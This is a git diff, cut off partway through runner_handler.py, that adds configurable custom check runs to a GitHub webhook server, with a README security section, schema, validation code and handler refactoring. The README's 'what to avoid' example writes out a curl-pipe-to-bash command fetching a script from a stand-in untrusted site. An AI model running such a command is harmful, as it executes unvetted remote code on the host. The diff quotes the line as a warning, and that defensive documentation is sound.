diff --git a/README.md b/README.md index 4de373dd..c26f9788 100644 --- a/README.md +++ b/README.md @@ -1436,6 +1436,50 @@ Internet → GitHub Webhooks → [Webhook Server] ← Internal Network ← Log V 5. **Monitoring**: Enable comprehensive logging and monitoring 6. **Updates**: Regularly update to latest stable version +### Custom Check Runs Security + +> [!CAUTION] +> **Security Warning:** The `custom-check-runs` feature executes user-defined commands on the server during PR events. This is a powerful capability that requires careful security consideration. + +**Risks:** + +- Commands run with the webhook server's system permissions +- Commands execute in the cloned repository worktree +- Malicious or misconfigured commands could compromise server security +- Environment variables in commands may expose sensitive data in logs + +**Security Recommendations:** + +1. **Review all commands carefully** - Only configure commands from trusted sources +2. **Principle of least privilege** - Run the webhook server with minimal required permissions +3. **Audit configurations** - Regularly review `custom-check-runs` in your configuration files +4. **Restrict configuration access** - Limit who can modify `config.yaml` and `.github-webhook-server.yaml` +5. **Monitor execution logs** - Watch for unexpected command behavior or failures +6. **Avoid sensitive data in commands** - Do not embed secrets directly in command strings + +**Example of secure configuration:** + +```yaml +custom-check-runs: + - name: lint + command: uv tool run --from ruff ruff check # Uses trusted, pinned tool + mandatory: true + - name: type-check + command: uv run mypy . # Runs in isolated environment + mandatory: false +``` + +**What to avoid:** + +```yaml +# ❌ DANGEROUS: Avoid patterns like these +custom-check-runs: + - name: risky-check + command: curl https://untrusted-site.com/script.sh | bash # Never pipe to shell + - name: secret-exposure + command: API_KEY=secret123 some-command # Secrets visible in logs +``` + ## Monitoring ### Health Checks diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index f4d0718f..f7291c58 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -384,3 +384,41 @@ properties: required: - threshold additionalProperties: false + custom-check-runs: + type: array + description: | + Custom check runs that execute user-defined commands on PR events. + Commands run in the repository worktree and behave like built-in checks + (tox, pre-commit, etc.) - if a command is not found, the check will fail. + + Examples: + - name: lint + command: uv tool run --from ruff ruff check + mandatory: true + - name: security-scan + command: TOKEN=xyz DEBUG=true uv tool run --from bandit bandit -r . + mandatory: false + - name: complex-check + command: | + uv run python -c " + import sys + print('Running complex check') + sys.exit(0) + " + items: + type: object + properties: + name: + type: string + description: Unique name for the check run (displayed in GitHub UI) + command: + type: string + description: Command to execute in the repository directory. Environment variables can be included in the command (e.g., VAR=value command args) + mandatory: + type: boolean + description: Whether this check must pass for PR to be mergeable. Defaults to true for backward compatibility. + default: true + required: + - name + - command + additionalProperties: false diff --git a/webhook_server/libs/github_api.py b/webhook_server/libs/github_api.py index 815dd76a..b24cdd1b 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -4,6 +4,7 @@ import contextlib import logging import os +import re import shlex import shutil import tempfile @@ -29,6 +30,7 @@ from webhook_server.libs.handlers.push_handler import PushHandler from webhook_server.utils.constants import ( BUILD_CONTAINER_STR, + BUILTIN_CHECK_NAMES, CAN_BE_MERGED_STR, CONFIGURABLE_LABEL_CATEGORIES, CONVENTIONAL_TITLE_STR, @@ -653,6 +655,12 @@ def _repo_data_from_config(self, repository_config: dict[str, Any]) -> None: value="pre-commit", return_on_none=False, extra_dict=repository_config ) + # Load and validate custom check runs + raw_custom_checks = self.config.get_value( + value="custom-check-runs", return_on_none=[], extra_dict=repository_config + ) + self.custom_check_runs: list[dict[str, Any]] = self._validate_custom_check_runs(raw_custom_checks) + _auto_users = self.config.get_value( value="auto-verified-and-merged-users", return_on_none=[], extra_dict=repository_config ) @@ -844,6 +852,14 @@ def _current_pull_request_supported_retest(self) -> list[str]: if self.conventional_title: current_pull_request_supported_retest.append(CONVENTIONAL_TITLE_STR) + + # Add custom check runs + # Note: custom checks are validated in _validate_custom_check_runs() + # so name is guaranteed to exist + for custom_check in self.custom_check_runs: + check_name = custom_check["name"] + current_pull_request_supported_retest.append(check_name) + return current_pull_request_supported_retest async def cleanup(self) -> None: @@ -860,6 +876,132 @@ async def cleanup(self) -> None: except Exception as ex: self.logger.warning(f"{self.log_prefix} Failed to cleanup temp directory: {ex}") + def _validate_custom_check_runs(self, raw_checks: object) -> list[dict[str, Any]]: + """Validate custom check runs configuration. + + Validates each custom check and returns only valid ones: + - Checks that 'name' and 'command' fields exist + - Verifies name doesn't collide with built-in check names + - Verifies command executable exists on server using shutil.which() + - Logs warnings for invalid checks and skips them + + Args: + raw_checks: Custom check configurations from config (should be a list) + + Returns: + List of validated custom check configurations + """ + validated_checks: list[dict[str, Any]] = [] + + # Type guard: ensure raw_checks is a list + if not isinstance(raw_checks, list): + # Use getattr since log_prefix may not be set during early __init__ calls + prefix = getattr(self, "log_prefix", "") + self.logger.warning( + f"{prefix} Custom checks config is not a list (got {type(raw_checks).__name__}), " + "skipping all custom checks" + ) + return validated_checks + + seen_names: set[str] = set() + + # Whitelist regex for safe check names: alphanumeric, dots, underscores, hyphens, 1-64 chars + safe_check_name_pattern = re.compile(r"^[a-zA-Z0-9._-]{1,64}$") + + # Regex to match env-var assignments (e.g., FOO=bar, MY_VAR=123) + env_assign_re = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=") + + for check in raw_checks: + # Type guard: ensure check is a dict before accessing fields + if not isinstance(check, dict): + self.logger.warning(f"Custom check entry is not a mapping (got {type(check).__name__}), skipping") + continue + + # Validate name field + check_name = check.get("name") + if not check_name: + self.logger.warning("Custom check missing required 'name' field, skipping") + continue + + # Type guard: ensure name is a string (YAML could have int/list/dict) + if not isinstance(check_name, str): + self.logger.warning( + f"Custom check 'name' field is not a string (got {type(check_name).__name__}), skipping" + ) + continue + + # Validate name contains only safe characters + if not safe_check_name_pattern.match(check_name): + self.logger.warning(f"Custom check name '{check_name}' contains unsafe characters, skipping") + continue + + # Check for collision with built-in check names + if check_name in BUILTIN_CHECK_NAMES: + self.logger.warning(f"Custom check '{check_name}' conflicts with built-in check, skipping") + continue + + # Check for duplicate custom check names + if check_name in seen_names: + self.logger.warning(f"Duplicate custom check name '{check_name}', skipping") + continue + seen_names.add(check_name) + + # Validate command field + command = check.get("command") + if not command: + self.logger.warning(f"Custom check '{check_name}' missing required 'command' field, skipping") + continue + + # Type guard: ensure command is a string (YAML could have int/list/dict) + if not isinstance(command, str): + self.logger.warning( + f"Custom check '{check_name}' has 'command' field that is not a string " + f"(got {type(command).__name__}), skipping" + ) + continue + + # Strip command once for all subsequent operations + command = command.strip() + + if not command: + self.logger.warning(f"Custom check '{check_name}' has empty 'command' field, skipping") + continue + + # Parse command safely using shlex to handle quoting + try: + tokens = shlex.split(command, posix=True) + except ValueError as ex: + self.logger.warning(f"Custom check '{check_name}' has invalid shell quoting ({ex}), skipping") + continue + + # Skip leading env-var assignments to find the real executable + executable = next((t for t in tokens if not env_assign_re.match(t)), "") + if not executable: + self.logger.warning(f"Custom check '{check_name}' has no executable, skipping") + continue + + # Check if executable exists on server + if not shutil.which(executable): + self.logger.warning( + f"Custom check '{check_name}' executable '{executable}' not found on server. " + f"Please open an issue to request adding this executable to the container, " + f"or submit a PR to add it. Skipping check." + ) + continue + + # Valid check - add to list + validated_checks.append(check) + # Don't log raw command - may contain secrets. Only log executable name. + self.logger.debug(f"Validated custom check '{check_name}' (executable='{executable}')") + + # Summary logging for user visibility + if validated_checks: + self.logger.info(f"Loaded {len(validated_checks)} custom check(s): {[c['name'] for c in validated_checks]}") + if len(validated_checks) < len(raw_checks): + self.logger.warning(f"Skipped {len(raw_checks) - len(validated_checks)} invalid custom check(s)") + + return validated_checks + def __del__(self) -> None: """Remove the shared clone directory when the webhook object is destroyed. diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index a0dcecf4..773af73d 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -1,5 +1,5 @@ import asyncio -from typing import TYPE_CHECKING, Any +from typing import TYPE_CHECKING, Any, NotRequired, TypedDict from github.CheckRun import CheckRun from github.CommitStatus import CommitStatus @@ -12,11 +12,9 @@ AUTOMERGE_LABEL_STR, BUILD_CONTAINER_STR, CAN_BE_MERGED_STR, - CHERRY_PICKED_LABEL, CONVENTIONAL_TITLE_STR, FAILURE_STR, IN_PROGRESS_STR, - PRE_COMMIT_STR, PYTHON_MODULE_INSTALL_STR, QUEUED_STR, SUCCESS_STR, @@ -30,6 +28,14 @@ from webhook_server.utils.context import WebhookContext +class CheckRunOutput(TypedDict, total=False): + """TypedDict for check run output parameter.""" + + title: str + summary: str + text: NotRequired[str | None] + + class CheckRunHandler: def __init__(self, github_webhook: "GithubWebhook", owners_file_handler: OwnersFileHandler | None = None): self.github_webhook = github_webhook @@ -102,119 +108,55 @@ async def process_pull_request_check_run_webhook_data(self, pull_request: PullRe self.ctx.complete_step("check_run_handler") return True - async def set_verify_check_queued(self) -> None: - return await self.set_check_run_status(check_run=VERIFIED_LABEL_STR, status=QUEUED_STR) + async def set_check_queued(self, name: str, output: CheckRunOutput | None = None) -> None: + """Set check run to queued status. - async def set_verify_check_success(self) -> None: - return await self.set_check_run_status(check_run=VERIFIED_LABEL_STR, conclusion=SUCCESS_STR) - - async def set_run_tox_check_queued(self) -> None: - if not self.github_webhook.tox: - self.logger.debug(f"{self.log_prefix} tox is not configured, skipping.") - return + Generic method for setting any check run (built-in or custom) to queued status. - return await self.set_check_run_status(check_run=TOX_STR, status=QUEUED_STR) + Args: + name: The name of the check run (e.g., TOX_STR, PRE_COMMIT_STR, or custom check name) + output: Optional output dictionary with title, summary, and text fields + """ + await self.set_check_run_status(check_run=name, status=QUEUED_STR, output=output) - async def set_run_tox_check_in_progress(self) -> None: - return await self.set_check_run_status(check_run=TOX_STR, status=IN_PROGRESS_STR) - - async def set_run_tox_check_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=TOX_STR, conclusion=FAILURE_STR, output=output) - - async def set_run_tox_check_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=TOX_STR, conclusion=SUCCESS_STR, output=output) - - async def set_run_pre_commit_check_queued(self) -> None: - if not self.github_webhook.pre_commit: - self.logger.debug(f"{self.log_prefix} pre-commit is not configured, skipping.") - return + async def set_check_in_progress(self, name: str) -> None: + """Set check run to in_progress status. - return await self.set_check_run_status(check_run=PRE_COMMIT_STR, status=QUEUED_STR) + Generic method for setting any check run (built-in or custom) to in_progress status. - async def set_run_pre_commit_check_in_progress(self) -> None: - return await self.set_check_run_status(check_run=PRE_COMMIT_STR, status=IN_PROGRESS_STR) + Args: + name: The name of the check run (e.g., TOX_STR, PRE_COMMIT_STR, or custom check name) + """ + await self.set_check_run_status(check_run=name, status=IN_PROGRESS_STR) - async def set_run_pre_commit_check_failure(self, output: dict[str, Any] | None = None) -> None: - return await self.set_check_run_status(check_run=PRE_COMMIT_STR, conclusion=FAILURE_STR, output=output) + async def set_check_success(self, name: str, output: CheckRunOutput | None = None) -> None: + """Set check run to success. - async def set_run_pre_commit_check_success(self, output: dict[str, Any] | None = None) -> None: - return await self.set_check_run_status(check_run=PRE_COMMIT_STR, conclusion=SUCCESS_STR, output=output) + Generic method for setting any check run (built-in or custom) to success status. - async def set_merge_check_queued(self, output: dict[str, Any] | None = None) -> None: - return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, status=QUEUED_STR, output=output) + Args: + name: The name of the check run (e.g., TOX_STR, PRE_COMMIT_STR, or custom check name) + output: Optional output dictionary with title, summary, and text fields + """ + await self.set_check_run_status(check_run=name, conclusion=SUCCESS_STR, output=output) - async def set_merge_check_in_progress(self) -> None: - return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, status=IN_PROGRESS_STR) + async def set_check_failure(self, name: str, output: CheckRunOutput | None = None) -> None: + """Set check run to failure. - async def set_merge_check_success(self) -> None: - return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, conclusion=SUCCESS_STR) + Generic method for setting any check run (built-in or custom) to failure status. - async def set_merge_check_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, conclusion=FAILURE_STR, output=output) - - async def set_container_build_queued(self) -> None: - if not self.github_webhook.build_and_push_container: - self.logger.debug(f"{self.log_prefix} build_and_push_container is not configured, skipping.") - return - - return await self.set_check_run_status(check_run=BUILD_CONTAINER_STR, status=QUEUED_STR) - - async def set_container_build_in_progress(self) -> None: - return await self.set_check_run_status(check_run=BUILD_CONTAINER_STR, status=IN_PROGRESS_STR) - - async def set_container_build_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=BUILD_CONTAINER_STR, conclusion=SUCCESS_STR, output=output) - - async def set_container_build_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=BUILD_CONTAINER_STR, conclusion=FAILURE_STR, output=output) - - async def set_python_module_install_queued(self) -> None: - if not self.github_webhook.pypi: - self.logger.debug(f"{self.log_prefix} pypi is not configured, skipping.") - return - - return await self.set_check_run_status(check_run=PYTHON_MODULE_INSTALL_STR, status=QUEUED_STR) - - async def set_python_module_install_in_progress(self) -> None: - return await self.set_check_run_status(check_run=PYTHON_MODULE_INSTALL_STR, status=IN_PROGRESS_STR) - - async def set_python_module_install_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status( - check_run=PYTHON_MODULE_INSTALL_STR, conclusion=SUCCESS_STR, output=output - ) - - async def set_python_module_install_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status( - check_run=PYTHON_MODULE_INSTALL_STR, conclusion=FAILURE_STR, output=output - ) - - async def set_conventional_title_queued(self) -> None: - return await self.set_check_run_status(check_run=CONVENTIONAL_TITLE_STR, status=QUEUED_STR) - - async def set_conventional_title_in_progress(self) -> None: - return await self.set_check_run_status(check_run=CONVENTIONAL_TITLE_STR, status=IN_PROGRESS_STR) - - async def set_conventional_title_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=CONVENTIONAL_TITLE_STR, conclusion=SUCCESS_STR, output=output) - - async def set_conventional_title_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=CONVENTIONAL_TITLE_STR, conclusion=FAILURE_STR, output=output) - - async def set_cherry_pick_in_progress(self) -> None: - return await self.set_check_run_status(check_run=CHERRY_PICKED_LABEL, status=IN_PROGRESS_STR) - - async def set_cherry_pick_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=CHERRY_PICKED_LABEL, conclusion=SUCCESS_STR, output=output) - - async def set_cherry_pick_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=CHERRY_PICKED_LABEL, conclusion=FAILURE_STR, output=output) + Args: + name: The name of the check run (e.g., TOX_STR, PRE_COMMIT_STR, or custom check name) + output: Optional output dictionary with title, summary, and text fields + """ + await self.set_check_run_status(check_run=name, conclusion=FAILURE_STR, output=output) async def set_check_run_status( self, check_run: str, status: str = "", conclusion: str = "", - output: dict[str, str] | None = None, + output: CheckRunOutput | None = None, ) -> None: kwargs: dict[str, Any] = {"name": check_run, "head_sha": self.github_webhook.last_commit.sha} @@ -223,6 +165,7 @@ async def set_check_run_status( if conclusion: kwargs["conclusion"] = conclusion + kwargs["status"] = "completed" # Explicitly set status when conclusion is provided if output: kwargs["output"] = output @@ -230,15 +173,20 @@ async def set_check_run_status( msg: str = f"{self.log_prefix} check run {check_run} status: {status or conclusion}" try: - self.logger.debug(f"{self.log_prefix} Set check run status with {kwargs}") + self.logger.debug( + f"{self.log_prefix} Setting check run for {check_run}, status={status}, conclusion={conclusion}" + ) await asyncio.to_thread(self.github_webhook.repository_by_github_app.create_check_run, **kwargs) if conclusion in (SUCCESS_STR, IN_PROGRESS_STR): self.logger.info(msg) return - except Exception as ex: - self.logger.debug(f"{self.log_prefix} Failed to set {check_run} check to {status or conclusion}, {ex}") + except asyncio.CancelledError: + raise # Always re-raise CancelledError + except Exception: + self.logger.exception(f"{self.log_prefix} Failed to set check run status for {check_run}") kwargs["conclusion"] = FAILURE_STR + kwargs["status"] = "completed" await asyncio.to_thread(self.github_webhook.repository_by_github_app.create_check_run, **kwargs) def get_check_run_text(self, err: str, out: str) -> str: @@ -427,7 +375,16 @@ async def all_required_status_checks(self, pull_request: PullRequest) -> list[st if self.github_webhook.conventional_title: all_required_status_checks.append(CONVENTIONAL_TITLE_STR) - _all_required_status_checks = branch_required_status_checks + all_required_status_checks + # Add mandatory custom checks only (non-mandatory checks still run but don't affect can-be-merged) + # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() + # so name is guaranteed to exist + for custom_check in self.github_webhook.custom_check_runs: + if custom_check.get("mandatory", True): + check_name = custom_check["name"] + all_required_status_checks.append(check_name) + + # Use ordered deduplication to combine branch and config checks without duplicates + _all_required_status_checks = list(dict.fromkeys(branch_required_status_checks + all_required_status_checks)) self.logger.debug(f"{self.log_prefix} All required status checks: {_all_required_status_checks}") self._all_required_status_checks = _all_required_status_checks return _all_required_status_checks diff --git a/webhook_server/libs/handlers/issue_comment_handler.py b/webhook_server/libs/handlers/issue_comment_handler.py index a55f02a1..0ebda95a 100644 --- a/webhook_server/libs/handlers/issue_comment_handler.py +++ b/webhook_server/libs/handlers/issue_comment_handler.py @@ -3,7 +3,7 @@ import asyncio import traceback from asyncio import Task -from collections.abc import Callable, Coroutine +from collections.abc import Coroutine from typing import TYPE_CHECKING, Any from github.PullRequest import PullRequest @@ -17,7 +17,6 @@ from webhook_server.utils.constants import ( AUTOMERGE_LABEL_STR, BUILD_AND_PUSH_CONTAINER_STR, - BUILD_CONTAINER_STR, CHERRY_PICK_LABEL_PREFIX, COMMAND_ADD_ALLOWED_USER_STR, COMMAND_ASSIGN_REVIEWER_STR, @@ -27,12 +26,8 @@ COMMAND_REGENERATE_WELCOME_STR, COMMAND_REPROCESS_STR, COMMAND_RETEST_STR, - CONVENTIONAL_TITLE_STR, HOLD_LABEL_STR, - PRE_COMMIT_STR, - PYTHON_MODULE_INSTALL_STR, REACTIONS, - TOX_STR, USER_LABELS_DICT, VERIFIED_LABEL_STR, WIP_STR, @@ -302,17 +297,11 @@ async def user_commands( elif _command == VERIFIED_LABEL_STR: if remove: - label_changed = await self.labels_handler._remove_label( - pull_request=pull_request, label=VERIFIED_LABEL_STR - ) - if label_changed: - await self.check_run_handler.set_verify_check_queued() + await self.labels_handler._remove_label(pull_request=pull_request, label=VERIFIED_LABEL_STR) + await self.check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) else: - label_changed = await self.labels_handler._add_label( - pull_request=pull_request, label=VERIFIED_LABEL_STR - ) - if label_changed: - await self.check_run_handler.set_verify_check_success() + await self.labels_handler._add_label(pull_request=pull_request, label=VERIFIED_LABEL_STR) + await self.check_run_handler.set_check_success(name=VERIFIED_LABEL_STR) elif _command != AUTOMERGE_LABEL_STR: await self.labels_handler.label_by_user_comment( @@ -430,14 +419,6 @@ async def process_retest_command( self.logger.debug(f"{self.log_prefix} Target tests for re-test: {_target_tests}") _not_supported_retests: list[str] = [] _supported_retests: list[str] = [] - _retests_to_func_map: dict[str, Callable[..., Any]] = { - TOX_STR: self.runner_handler.run_tox, - PRE_COMMIT_STR: self.runner_handler.run_pre_commit, - BUILD_CONTAINER_STR: self.runner_handler.run_build_container, - PYTHON_MODULE_INSTALL_STR: self.runner_handler.run_install_python_module, - CONVENTIONAL_TITLE_STR: self.runner_handler.run_conventional_title_check, - } - self.logger.debug(f"{self.log_prefix} Retest map is {_retests_to_func_map}") if not _target_tests: msg = "No test defined to retest" @@ -475,16 +456,11 @@ async def process_retest_command( await asyncio.to_thread(pull_request.create_issue_comment, msg) if _supported_retests: - tasks: list[Coroutine[Any, Any, Any] | Task[Any]] = [] - for _test in _supported_retests: - self.logger.debug(f"{self.log_prefix} running retest {_test}") - task = asyncio.create_task(_retests_to_func_map[_test](pull_request=pull_request)) - tasks.append(task) - - results = await asyncio.gather(*tasks, return_exceptions=True) - for result in results: - if isinstance(result, Exception): - self.logger.error(f"{self.log_prefix} Async task failed: {result}") + # Use runner_handler.run_retests() to avoid duplication + await self.runner_handler.run_retests( + supported_retests=_supported_retests, + pull_request=pull_request, + ) if automerge: await self.labels_handler._add_label(pull_request=pull_request, label=AUTOMERGE_LABEL_STR) diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index 2b4c05ca..3b1743bb 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -9,7 +9,7 @@ from github.PullRequest import PullRequest from github.Repository import Repository -from webhook_server.libs.handlers.check_run_handler import CheckRunHandler +from webhook_server.libs.handlers.check_run_handler import CheckRunHandler, CheckRunOutput from webhook_server.libs.handlers.labels_handler import LabelsHandler from webhook_server.libs.handlers.owners_files_handler import OwnersFileHandler from webhook_server.libs.handlers.runner_handler import RunnerHandler @@ -189,9 +189,9 @@ async def process_pull_request_webhook_data(self, pull_request: PullRequest) -> ) if action_labeled: - await self.check_run_handler.set_verify_check_success() + await self.check_run_handler.set_check_success(name=VERIFIED_LABEL_STR) else: - await self.check_run_handler.set_verify_check_queued() + await self.check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) if labeled_lower in (WIP_STR, HOLD_LABEL_STR, AUTOMERGE_LABEL_STR): _check_for_merge = True @@ -344,6 +344,13 @@ def _prepare_retest_welcome_comment(self) -> str: if self.github_webhook.conventional_title: retest_msg += f" * `/retest {CONVENTIONAL_TITLE_STR}` - Validate commit message format\n" + # Add custom check runs (both mandatory and optional) + for custom_check in self.github_webhook.custom_check_runs: + check_name = custom_check["name"] + is_mandatory = custom_check.get("mandatory", True) + status_indicator = "" if is_mandatory else " (optional)" + retest_msg += f" * `/retest {check_name}` - {check_name}{status_indicator}\n" + if retest_msg: retest_msg += " * `/retest all` - Run all available tests\n" @@ -741,18 +748,36 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq ) ) setup_tasks.append(self.label_pull_request_by_merge_state(pull_request=pull_request)) - setup_tasks.append(self.check_run_handler.set_merge_check_queued()) - setup_tasks.append(self.check_run_handler.set_run_tox_check_queued()) - setup_tasks.append(self.check_run_handler.set_run_pre_commit_check_queued()) - setup_tasks.append(self.check_run_handler.set_python_module_install_queued()) - setup_tasks.append(self.check_run_handler.set_container_build_queued()) + setup_tasks.append(self.check_run_handler.set_check_queued(name=CAN_BE_MERGED_STR)) + + # Only queue built-in checks when their corresponding feature is enabled + if self.github_webhook.tox: + setup_tasks.append(self.check_run_handler.set_check_queued(name=TOX_STR)) + + if self.github_webhook.pre_commit: + setup_tasks.append(self.check_run_handler.set_check_queued(name=PRE_COMMIT_STR)) + + if self.github_webhook.pypi: + setup_tasks.append(self.check_run_handler.set_check_queued(name=PYTHON_MODULE_INSTALL_STR)) + + if self.github_webhook.build_and_push_container: + setup_tasks.append(self.check_run_handler.set_check_queued(name=BUILD_CONTAINER_STR)) + setup_tasks.append(self._process_verified_for_update_or_new_pull_request(pull_request=pull_request)) setup_tasks.append(self.labels_handler.add_size_label(pull_request=pull_request)) setup_tasks.append(self.add_pull_request_owner_as_assingee(pull_request=pull_request)) if self.github_webhook.conventional_title: - setup_tasks.append(self.check_run_handler.set_conventional_title_queued()) + setup_tasks.append(self.check_run_handler.set_check_queued(name=CONVENTIONAL_TITLE_STR)) + # Queue custom check runs (same as built-in checks) + # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() + # so name is guaranteed to exist + for custom_check in self.github_webhook.custom_check_runs: + check_name = custom_check["name"] + setup_tasks.append(self.check_run_handler.set_check_queued(name=check_name)) + + self.logger.info(f"{self.log_prefix} Executing setup tasks") setup_results = await asyncio.gather(*setup_tasks, return_exceptions=True) for result in setup_results: @@ -776,6 +801,16 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq if self.github_webhook.conventional_title: ci_tasks.append(self.runner_handler.run_conventional_title_check(pull_request=pull_request)) + # Launch custom check runs (same as built-in checks) + for custom_check in self.github_webhook.custom_check_runs: + ci_tasks.append( + self.runner_handler.run_custom_check( + pull_request=pull_request, + check_config=custom_check, + ) + ) + + self.logger.info(f"{self.log_prefix} Executing CI/CD tasks") ci_results = await asyncio.gather(*ci_tasks, return_exceptions=True) for result in ci_results: @@ -1007,7 +1042,7 @@ async def _process_verified_for_update_or_new_pull_request(self, pull_request: P f"{self.log_prefix} Cherry-picked PR detected and auto-verify-cherry-picked-prs is disabled, " "skipping auto-verification" ) - await self.check_run_handler.set_verify_check_queued() + await self.check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) return if self.github_webhook.parent_committer in self.github_webhook.auto_verified_and_merged_users: @@ -1017,12 +1052,12 @@ async def _process_verified_for_update_or_new_pull_request(self, pull_request: P f"Setting verified label" ) await self.labels_handler._add_label(pull_request=pull_request, label=VERIFIED_LABEL_STR) - await self.check_run_handler.set_verify_check_success() + await self.check_run_handler.set_check_success(name=VERIFIED_LABEL_STR) else: self.logger.info(f"{self.log_prefix} Processing reset {VERIFIED_LABEL_STR} label on new commit push") # Remove verified label await self.labels_handler._remove_label(pull_request=pull_request, label=VERIFIED_LABEL_STR) - await self.check_run_handler.set_verify_check_queued() + await self.check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) async def add_pull_request_owner_as_assingee(self, pull_request: PullRequest) -> None: try: @@ -1056,7 +1091,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: self.ctx.complete_step("check_merge_eligibility", can_merge=False, reason="already_merged") return - output = { + output: CheckRunOutput = { "title": "Check if can be merged", "summary": "", "text": None, @@ -1065,7 +1100,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: try: self.logger.info(f"{self.log_prefix} Check if {CAN_BE_MERGED_STR}.") - await self.check_run_handler.set_merge_check_in_progress() + await self.check_run_handler.set_check_in_progress(name=CAN_BE_MERGED_STR) # Fetch check runs and statuses in parallel (2 API calls → 1 concurrent operation) _check_runs, _statuses = await asyncio.gather( asyncio.to_thread(lambda: list(self.github_webhook.last_commit.get_check_runs())), @@ -1126,7 +1161,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: if not failure_output: await self.labels_handler._add_label(pull_request=pull_request, label=CAN_BE_MERGED_STR) - await self.check_run_handler.set_merge_check_success() + await self.check_run_handler.set_check_success(name=CAN_BE_MERGED_STR) self.logger.info(f"{self.log_prefix} Pull request can be merged") if self.ctx: self.ctx.complete_step("check_merge_eligibility", can_merge=True) @@ -1135,7 +1170,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: self.logger.debug(f"{self.log_prefix} cannot be merged: {failure_output}") output["text"] = failure_output await self.labels_handler._remove_label(pull_request=pull_request, label=CAN_BE_MERGED_STR) - await self.check_run_handler.set_merge_check_failure(output=output) + await self.check_run_handler.set_check_failure(name=CAN_BE_MERGED_STR, output=output) if self.ctx: self.ctx.complete_step("check_merge_eligibility", can_merge=False, reason=failure_output) @@ -1147,7 +1182,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: _err = "Failed to check if can be merged, check logs" output["text"] = _err await self.labels_handler._remove_label(pull_request=pull_request, label=CAN_BE_MERGED_STR) - await self.check_run_handler.set_merge_check_failure(output=output) + await self.check_run_handler.set_check_failure(name=CAN_BE_MERGED_STR, output=output) if self.ctx: self.ctx.fail_step("check_merge_eligibility", ex, traceback.format_exc()) diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 6f6900f3..b0adb1fe 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -1,8 +1,12 @@ import asyncio import contextlib import re +import shlex import shutil -from collections.abc import AsyncGenerator +from asyncio import Task +from collections.abc import AsyncGenerator, Callable, Coroutine +from dataclasses import dataclass +from functools import partial from typing import TYPE_CHECKING, Any import shortuuid @@ -10,7 +14,7 @@ from github.PullRequest import PullRequest from github.Repository import Repository -from webhook_server.libs.handlers.check_run_handler import CheckRunHandler +from webhook_server.libs.handlers.check_run_handler import CheckRunHandler, CheckRunOutput from webhook_server.libs.handlers.owners_files_handler import OwnersFileHandler from webhook_server.utils import helpers as helpers_module from webhook_server.utils.constants import ( @@ -29,6 +33,24 @@ from webhook_server.libs.github_api import GithubWebhook +@dataclass(frozen=True, slots=True) +class CheckConfig: + """Configuration for a check run. + + Attributes: + name: The name of the check run (e.g., "tox", "pre-commit", or custom check name). + command: The command template to execute. Can contain {worktree_path} placeholder. + title: The display title for the check run output. + use_cwd: If True, execute command with cwd set to worktree_path. + If False, command should include worktree_path in args. + """ + + name: str + command: str + title: str + use_cwd: bool = False + + class RunnerHandler: def __init__(self, github_webhook: "GithubWebhook", owners_file_handler: OwnersFileHandler | None = None): self.github_webhook = github_webhook @@ -168,87 +190,108 @@ async def run_podman_command(self, command: str, redact_secrets: list[str] | Non return rc, out, err + async def run_check(self, pull_request: PullRequest, check_config: CheckConfig) -> None: + """Unified check execution method for both built-in and custom checks. + + This method handles the common lifecycle for all command-based checks: + 1. Set check to in_progress + 2. Checkout worktree + 3. Execute command + 4. Report success or failure + + Args: + pull_request: The pull request to run the check on. + check_config: Configuration for the check (name, command, title, use_cwd). + """ + try: + if await self.check_run_handler.is_check_run_in_progress(check_run=check_config.name): + self.logger.debug(f"{self.log_prefix} Check run is in progress, re-running {check_config.name}.") + + self.logger.info(f"{self.log_prefix} Starting check: {check_config.name}") + await self.check_run_handler.set_check_in_progress(name=check_config.name) + + async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): + output: CheckRunOutput = { + "title": check_config.title, + "summary": "", + "text": None, + } + + if not success: + self.logger.error(f"{self.log_prefix} Repository preparation failed for {check_config.name}") + output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) + return await 